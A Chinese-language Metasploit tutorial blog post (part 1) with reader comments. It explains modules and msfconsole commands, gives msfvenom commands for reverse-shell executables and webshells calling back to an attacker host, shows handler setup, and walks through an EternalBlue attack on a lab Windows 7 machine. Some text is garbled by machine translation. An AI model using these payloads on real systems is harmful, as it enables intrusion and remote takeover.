使用Metasploit 工具(第1 部分)

2024-10-31 11:53:59 | 作者: 匿名

是一款开源的安全漏洞利用和测试工具,集成了常见的溢出漏洞和各平台流行的shellcode,并持续更新。

Metasploit涵盖了渗透测试的整个过程。在这个框架下,你可以利用现有的payload进行一系列的渗透测试。

1.1.Metasploit下载

Metasploit工具是kail自带的,这里可以直接使用。如果确实需要到其他地方下载,也可以去官网下载。同时,官网还附有相应的官方手册。

官方网站:Metasploit Unleashed - 免费在线道德黑客课程|关闭安全

1.2.Metasploit框架结构

1.2.1.框架路径

框架目录路径:/usr/share/metasploit-framework

1.2.2.框架内容介绍

框架的目录下,有很多目录文件,比较重要的有数据、模块、脚本、工具、插件等。

参考链接:metasploit目录结构-CSDN博客

1.2.2.1.data目录文件

数据目录文件包含meterpreter、exploits、wordlists、templates等。meterpreter模块通常用于post-exploitation功能。 wordlists目录,其中包含大量词典。

Exploits目录包含大量CVE漏洞利用代码,可以在渗透等过程中使用。

1.2.2.2.modules目录文件

- 模块目录,该目录包含以下模块:auxiliary、encoders、exploits、nops、payloads、post。

漏洞利用(漏洞攻击模块列表)

辅助(漏洞辅助模块,通常是没有攻击负载的漏洞攻击)

编码器(编码器模块)

nops(无操作生成器模块)

有效负载(漏洞加载模块)

帖子(开发模块)

1.2.2.3.scripts目录文件

1.2.2.4.tools目录文件

Tools目录,里面包含了大量的工具。

1.2.2.5.plugins目录文件

-plugins,该目录包含大量插件。

1.3.Metasploit更新

msfconsole -v #查看版本apt-get updateapt-get install metasploit-framework

2.MSF中数据库设置

Metasploit 支持使用postgresql 数据库来保存渗透测试过程中获得的各种数据。关于数据库,没必要先学习这一步,因为后面使用的时候才需要了解。预测试不需要先保存数据。

所以你可以先跳过这一部分,稍后再看。

2.1.数据库设置

打开数据库:service postgresql start 初始化数据库:msfdb init

如果已经配置并执行了该命令,会提示“A database isn't be alreadyconfigured,skipinginitialization(数据库似乎已经配置好,跳过初始化)”;

2.2.数据库测试

初始化成功后即可测试数据库。后面会提到如何进入msf6。没有必要先学习数据库。

命令:db_status 如果没有连接,可以手动连接。

命令:db_connect 用户名: 密码@服务器地址: 端口/数据库名称。

2.3.数据库管理命令

命令

解释

msfdb初始化

启动并初始化数据库

msfdb重新初始化

删除并重新初始化数据库

msfdb删除

删除并停止使用数据库

msfdb启动

启动数据库

msfdb停止

停止数据库

msfdb状态

检查服务状态

msfdb运行

启动数据库并运行msfconsole

3.Metasploit命令介绍

3.1.Metasploit启动

Msfconsole 是Metasploit 框架的用户界面。我们可以通过Msfconsole界面使用Metasploit中的所有模块。

这里要注意的是我是在目录下启动的。其实不需要在目录下启动。当我写这篇文章时,它恰好在这个目录中。包括下面生成的图形,每次也不同,所以图像并不重要。

使用Metasploit 工具(第1 部分)

命令:msfconsole

3.2.Msfconsole用处

msfconsole主要用于管理Metasploit数据库、管理会话以及配置和启动Metasploit模块。

并且在启动msfconsole时,MSF会自动使用创建的msf用户登录msf数据库。

3.3.Msfconsole常用命令汇总

这里的常用命令总结了整个攻击过程中会用到的命令,都是非常常用的命令。有些命令其实在平时的测试中并不是很常用。有兴趣的话可以自学百度搜索或者去官网查看。

命令

介绍

展示功绩

查看所有可用的漏洞利用代码

显示辅助

查看所有可用的二次攻击工具

[显示]选项/高级

查看该模块的可用选项

显示有效负载

查看适用于该模块的所有有效负载代码

显示目标

查看该模块适用的攻击目标类型

搜索

根据关键词搜索模块

信息

显示有关模块的详细信息

使用

使用渗透攻击模块

后退

回滚

设置/取消设置

设置/禁用模块中的参数

设置/取消设置

设置/禁用适用于所有模块的全局参数

运行/利用

执行脚本

运行-j/利用-j

再次执行脚本

帮助

帮助命令

3.3.1.命令详细用法

3.3.1.1.show exploits

显示漏洞利用,查看所有可用的渗透攻击程序代码,所有的攻击程序都显示在这里,所以有很多,平时很少用,只有当你实在找不到的时候。到时候我才会去看看。

3.3.1.2.show auxiliary

- 显示辅助,查看所有可用的辅助攻击工具。这几乎很少使用,通常用于观看。

3.3.1.3.[show]options/advanced

[show]options/advanced,查看该模块可用的选项。这里的前提是你需要进入某个模块。界面中,所有yes项均为必填项,无项为可选项。

3.3.1.4.show payloads

- 显示负载,要查看所有适用于该模块的负载代码,还需要先进入某个模块。

3.3.1.5.show targets

- 显示目标,查看该模块适用的攻击目标类型,这里仅指系统或框架等,例如哪些系统可以被ms17永恒之蓝攻击。

3.3.1.6.search

搜索,根据关键词搜索模块。在这里您只需输入相关关键词即可进行搜索。您可以精确或模糊搜索。例如,如果我想搜索“永恒之蓝”,那么我输入:搜索ms17即可找到相关的攻击模块和利用模块。

3.3.1.7.info

info,显示某个模块的详细信息,这里和选择一样,可以使用数字,也可以使用整个名称。例如,如果我想查看exploit/windows/smb/ms17_010_eternalblue的信息,那么info 0或exploit/windows/smb/ms17_010_eternalblue就可以了。

3.3.1.8.use

使用,使用一定的渗透攻击模块。这里,在找到的模块下,可以看到以数字开头,后面跟着的名称,所以这里可以选择使用编号对应的攻击模块或漏洞利用模块,也可以输入后面的完整名称。

3.3.1.9.back

退,退,应该都明白。

3.3.1.10.set/unset

设置/取消设置 设置/禁用模块中的参数。例如,如果您需要在此处设置受害者IP,则设置RHOSTS IP地址。这里的ROSTS不区分大小写。配置成功后,可以再次使用show options。

3.3.1.11.setg/unsetg

使用Metasploit 工具(第1 部分)

setg/unsetg,设置/禁用适用于所有模块的全局参数。其实这里set和setg是类似的。

3.3.1.12.run/exploit

run/explot,执行漏洞脚本。简单来说,就是选择某个攻击模块时执行。

3.4.Msfconsole其它命令汇总

这里其他命令的总结是对一些攻击过程中没有用到的命令的总结,比如查看历史命令等,这里就不一一演示了。有兴趣的也可以自学。如何使用百度搜索。

命令

介绍

帮助菜单

横幅

显示Metasploit 横幅信息

光盘

更改当前工作目录

调试

显示对调试有用的信息

退出/退出

退出控制台

历史

显示命令历史记录

加载

加载框架插件

版本

显示框架和控制台库版本号

4.MSF模块介绍

该模块是通过Metasploit框架加载集成对外提供的核心渗透测试功能实现代码。所有MSF 漏洞测试都是基于模块的。

4.1.auxiliary

辅助模块辅助渗透(端口扫描、登录密码爆破、漏洞验证等)

辅助操作模块,如网络扫描、枚举、漏洞扫描、登录暴力破解、模糊测试、spider(遍历)、数据提取等。

辅助模块可以在渗透前获取目标系统丰富的情报信息,从而发起更有针对性、精准的攻击。它包括扫描和枚举各种网络服务、构建虚假服务来收集登录密码和破解密码、嗅探敏感信息、模糊测试以及实施网络协议欺骗等模块。

4.2.exploits

漏洞利用模块包含主流的漏洞利用脚本,通常会利用某些可能存在漏洞的目标。命名规则:操作系统/各种应用协议分类。

用于利用漏洞并传递有效负载的模块。有远程攻击、本地攻击、权限提升攻击、客户端攻击、Web 应用程序攻击等等。

利用已发现的安全漏洞或配置弱点攻击远程目标系统的代码组件,植入并运行攻击负载以获得对目标系统的访问控制。 Metasploit框架中的渗透攻击模块根据所利用的安全漏洞的位置可以分为主动渗透攻击和被动渗透攻击两类。

4.3.payloads

攻击载荷主要是攻击成功后在目标机器上执行的代码,如反向shell代码、利用过程中用于执行操作的模块,如建立Meterpreter会话、反向shell、执行命令、下载和执行程序等.攻击负载是成功渗透攻击后在目标系统上运行的一段植入代码,通常是通过在目标系统上为渗透攻击者打开一个控制会话来运行。在传统的渗透代码开发中,攻击负载只是功能简单的ShellCode代码,用汇编语言编译并转换为目标系统CPU架构支持的机器代码。渗透攻击触发漏洞后,程序执行流程被劫持、跳转。输入这段机器码并执行它,即可完成ShellCode中实现的单一功能。

4.4.post

Post-exploitation阶段模块漏洞利用成功获取meterpreter后,向目标发送一些功能指令,如:权限提升等模块,用于在获取权限后执行post-exploitation操作,如credential/hash dump 、本地权限提升、后门安装、敏感数据提取、网络流量隧道(代理)、键盘记录、屏幕捕获等多种操作。

4.5.encoders

编码器模块主要包括各种编码工具,用于对有效负载进行编码和加密,以绕过入侵检测和过滤系统。用于有效负载编码和加密的模块,例如base64、XOR、shikata_ga_nai等。这有助于混淆以逃避防病毒或NIDS(网络入侵检测系统)、EDR(端点检测和响应)等防御。

4.6.evasion

规避模块用于生成反杀负载用于规避防御的模块,例如防病毒规避、AppLocker 绕过、软件限制策略(SRP)绕过等。

4.7.nops

空指令模块空指令是无操作,提高了paylaod的稳定性和可维护性。它是一个用于生成无害且良性的“无操作”指令的模块,例如用于填充目的、在使用期间在内存中滑动等。

^ 是一些无操作或不相关的操作指令,不会对程序的运行状态产生任何实质性影响。

渗透攻击构造恶意数据缓冲区时,往往需要在Shellcode实际执行时有较大的安全着陆区,以避免由于内存地址随机化、返回地址计算偏差等原因导致Shellcode执行失败,从而提高Shellcode执行效率。渗透攻击的可靠性。

Metasploit框架中的空命令模块是用于在攻击载荷中添加空命令区域以提高攻击可靠性的组件。

5.相关模块介绍

5.1.auxiliary模块介绍

这里只介绍常用的。其他的可以百度搜索一下。总结完了,还是直接看官方文档吧。

5.1.1.模块路径

路径:/usr/share/metasploit-framework/modules/auxiliary/scanner/discovery/

5.1.2.arp_sweep

arp_sweep:使用arp请求枚举本地LAN中的所有活动主机用法:使用auxiliary/scanner/discovery/arp_sweepset RHOSTS 192.168.10.0/24run

5.1.3.udp_sweep

udp_sweep:通过发送UDP数据包检测指定主机是否处于活动状态,并发现该主机上的udp服务。这里的原理和使用与arp_sweep是一样的,就不详细解释了。

5.2.MSF服务扫描

服务扫描确定开放端口后,挖掘对应端口上运行的服务信息。这里我们也介绍一下常用的模块以及模块中的常用模块。有点绕口令-.-

至于使用方法,基本是一样的。只需设置需要测试的IP即可。

使用Metasploit 工具(第1 部分)

5.2.1.TELNET服务模块

1. 模块搜索命令:搜索scanner/orcale2。 Telnet弱口令检测命令:使用auxiliary/scanner/telnet/telnet_login3。扫描telnet版本命令:useauxiliary/scanner/telnet/telnet_version

5.2.2.SSH服务模块

1.模块搜索命令:searchscanner/ssh2.ssh 弱口令检测命令:useauxiliary/scanner/ssh/ssh_login3.ssh 公钥认证登录命令:use辅助/扫描仪/ssh/ssh_login_pubkey4。扫描ssh 版本测试命令:useauxiliary/scanner/ssh /ssh_version

5.2.3.Oracle服务模块

1.模块搜索命令:searchscanner/orcale

5.2.4.SMB服务模块

1.模块搜索命令:searchscanner/smb2.SMB 枚举命令:auxiliary/scanner/smb /smb_enumusers 3. 返回DCERPC 信息命令:auxiliary/scanner /smb/pipe_dcerpc_auditor4。扫描SMB2协议命令:auxiliary/scanner/smb/smb25。扫描smb共享文件命令:auxiliary/scanner/smb/smb_enumshares6。枚举系统上的用户命令:auxiliary/scanner/smb/smb_enumusers7.SMB登录命令:auxiliary/scanner/smb/smb_login8。扫描组用户命令:auxiliary/scanner/smb/smb_lookupsid9。扫描系统版本命令:auxiliary/scanner/smb/smb_version

5.2.5.FTP服务模块

1、模块搜索命令:searchscanner/ftp2。 ftp 版本扫描命令:scanner/ftp/ftp_version3.ftp 匿名登录扫描命令:scanner/ftp/anonymous

5.2.6.SMTP服务模块

1、模块搜索命令:search Scanner/smb2.smtp 枚举命令:auxiliary/scanner/smtp/smtp_enum3.Scan smtp版本命令:auxiliary/scanner/smtp/smtp_version

5.2.7.SNMP服务模块

1.模块搜索命令:searchscanner/smb

5.3.MSF端口扫描

5.3.1.模块配置

1.模块搜索命令:searchscanner/portscan2。使用ACK扫描扫描防火墙上的不明文件使用命令:auxiliary/scanner/protscan/ack3检测被阻塞的端口。利用FTP反弹攻击原理,使用命令:auxiliary/scanner/protscan/ftpbounce4来枚举TCP服务。使用发送TCP SYN标志的方法来检测开放端口命令:auxiliary/scanner/protscan/syn5。通过完整的TCP连接判断端口是否开放最准确但最慢的命令:auxiliary/scanner/protscan/tcp6。更隐蔽的扫描方式,通过发送FIN、PSH、URG标志,可以逃避一些高级TCP标签检测器的过滤命令:auxiliary/scanner/protscan/xmas

5.3.2.模块使用

使用auxiliary/scanner/protscan/synset RHOSTS IP地址集线程20run

5.4.payload生成

使用msfvenom在msf中生成payload。同时,msf生成木马时有四大要素:攻击主机类型(Windows\linux)、木马类型(reverse_tcp\bind shell)、监听主机、监听端口。监测方法为Meteterpreter。

5.4.1.帮助命令

使用msfvenom -l 您可以列出MSFVenom 可以生成的有效负载列表。

5.5.二进制文件

5.5.1.生成二进制文件

这里LHOST的地址是攻击机器的IP地址,LPORT的端口是攻击机器的端口。

Windows: msfvenom -p windows/meterpreter/reverse_tcp LHOST=您的IP 地址LPORT=您要连接的端口-f exe shell.exeLinux: msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=您的IP 地址LPORT=您要连接的端口On -f elf shell.elfMac: msfvenom -p osx/x86/shell_reverse_tcp LHOST=您的IP 地址LPORT=您要连接的端口-f macho shell.macho

5.5.2.利用方式

5.5.2.1.生成payload文件

这里我们以Windows 为例,使用上面的命令生成一个exe 负载文件。同时这里生成的文件都在根目录下。

命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.20 LPORT=4444 -f exe shell.exe

5.5.2.2.发送payload文件

这里将构造好的payload文件发送到Windows系统。

5.5.2.3.监听payload文件

msfconsoleuse利用/多/handlerset PAYLOAD windows/meterpreter/reverse_tcpset LHOST 192.168.10.20set LPORT 4444set ExitOnSession falseexploit -j -z

5.5.2.4.运行payload文件

这里运行payload文件,可以直接双击运行,也可以用cmd等运行,这两种方式都可以运行,只是运行时不会弹出窗口,但已经已运行。

5.5.2.5.上线payload

这里通过sessions命令可以看到机器在线。

5.5.2.6.利用payload

这里可以使用session -i 1进行利用,其中1是序列号,可以通过在线payload的序列号进行利用。

5.6.webshell脚本

PHP: msfvenom -p php/meterpreter_reverse_tcp LHOST=您的IP 地址LPORT=您要连接的端口-f raw shell.phpASP: msfvenom -p windows/meterpreter/reverse_tcp LHOST=您的IP 地址LPORT=您要连接的端口-f asp shell.aspJSP:msfvenom -p java/jsp_shell_reverse_tcp LHOST=您的IP 地址LPORT=您要连接的端口-f raw shell.jspWAR:msfvenom -p java/jsp_shell_reverse_tcp LHOST=您的IP 地址LPORT=您要连接的端口-f war shell.war

5.6.2.利用方式

:010 -1010这里以PHP为例。使用上述命令生成PHP 有效负载文件。相同的

时这里生成的文件就在根目录下。 命令:msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.10.20 LPORT=4444 -f raw > shell.php

5.6.2.2.发送payload文件

  这里将构建好的payload文件发送到web目录下。

5.6.2.3.监听payload文件

msfconsoleuse exploit/multi/handlerset PAYLOAD php/meterpreter_reverse_tcpset LHOST 192.168.10.20set LPORT 4444set ExitOnSession falseexploit -j -z

5.6.2.4.运行payload文件

  这里运行payload文件可以在浏览器中访问shell.php文件。

5.6.2.5.上线payload

  这里通过sessions命令可以看到机器上线了。

5.6.2.6.利用payload

  这里可以使用sessions -i 2进行利用,这里的2是序号,可以通过上线的payload的序号进行利用。   这里需要注意哦,看上面的图片,我的序号已经变成2了。

6.Msfconsole整体攻击流程

  为了能够体现出整体的流程,这里选择永恒之蓝进行测试。

6.1.环境准备

  Windows7系统需要关闭防火墙,若开启防火墙可能会存在问题。   攻击机:192.168.10.20   受害者w7:192.168.10.40

6.2.启动Metasploit

命令:msfconsole

6.3.搜索永恒之蓝

  永恒之蓝ms17_010,其实这里可以直接搜索ms17,即可出现。 命令:search ms17_010

6.4.选择扫描模块

  这里可以选择,先进行扫描,确定是否存在漏洞,然后在进行执行。auxiliary/scanner/smb/smb_ms17_010就是扫描模块。 命令:use auxiliary/scanner/smb/smb_ms17_010

6.5.设置参数

  这里需要设置一个IP地址参数。可以使用show options来查看哪些参数是必设的,哪些是可选设置的,从下图可以看到我们需要设置一个IP地址。 命令:set rhosts 192.168.10.40

6.6.执行扫描

命令:run

6.7.选择攻击模块

  当知道可能造成攻击后,那么就可以选择攻击模块进行攻击了。 命令:use exploit/windows/smb/ms17_010_eternalblue

6.8.设置参数

  设置参数是一样的,都需要设置IP地址。 命令:set rhosts 192.168.10.40

用户评论

非想

这篇文章关于Metasploit的使用太棒了!我一直在寻找这样的教程,希望能有更多类似的系列文章。

    有5位网友表示赞同!

雪花ミ飞舞

我已经在Metasploit上投入了不少时间,但这篇文章让我学到了很多新东西,真的很实用。

    有15位网友表示赞同!

念安я

第一部分就挺全面的,希望能看到更多深入的内容。

    有9位网友表示赞同!

寒山远黛

我是网络安全新手,这篇文章对我来说很有帮助,感谢作者的分享。

    有18位网友表示赞同!

清羽墨安

Metasploit工具的使用真是一门学问,这篇教程让我对它有了更深的理解。

    有16位网友表示赞同!

醉婉笙歌

我已经读过一些关于Metasploit的文章,但这篇文章讲解得特别清楚,点赞!

    有7位网友表示赞同!

瑾澜

我觉得这个系列文章应该增加一些实战案例,这样能更好地帮助新手入门。

    有6位网友表示赞同!

你很爱吃凉皮

这个教程真的很详细,不过对于初学者来说,有些地方可能还是有点难懂。

    有14位网友表示赞同!

*巴黎铁塔

我是做安全审计的,这篇文章中提到的技巧对我很有帮助,感谢分享。

    有19位网友表示赞同!

不要冷战i

这篇文章让我对Metasploit有了新的认识,它不仅仅是一个工具,更是一个安全研究的利器。

    有9位网友表示赞同!

采姑娘的小蘑菇

作者在文章中提到的工具和技巧都非常实用,我已经开始尝试在项目中使用了。

    有8位网友表示赞同!

情如薄纱

我已经在Metasploit上使用了一段时间,但通过这篇文章,我发现了很多之前忽略的细节。

    有7位网友表示赞同!

苏樱凉

希望作者能尽快更新第二部分,我已经迫不及待想看到更多内容了。

    有15位网友表示赞同!

发型不乱一切好办

这篇文章让我意识到,Metasploit不仅仅适用于渗透测试,还有很多其他的应用场景。

    有7位网友表示赞同!

心悸╰つ

对于Metasploit的初学者来说,这篇文章可能有些挑战,但绝对值得一看。

    有18位网友表示赞同!

不浪漫罪名

这个教程太棒了,我之前一直觉得Metasploit很复杂,现在觉得它其实挺简单的。

    有8位网友表示赞同!

煮酒

文章中提到的Metasploit工具的安装和配置步骤很详细,让我少走了很多弯路。

    有20位网友表示赞同!

空谷幽兰

我已经将这篇文章推荐给我的同事,希望他们也能从中受益。

    有15位网友表示赞同!

别悲哀

虽然我对Metasploit已经很熟悉了,但这篇文章还是让我发现了新的用法和技巧。

    有10位网友表示赞同!

命该如此

这篇文章让我对Metasploit有了更全面的了解,它确实是网络安全人员必备的技能之一。

    有5位网友表示赞同!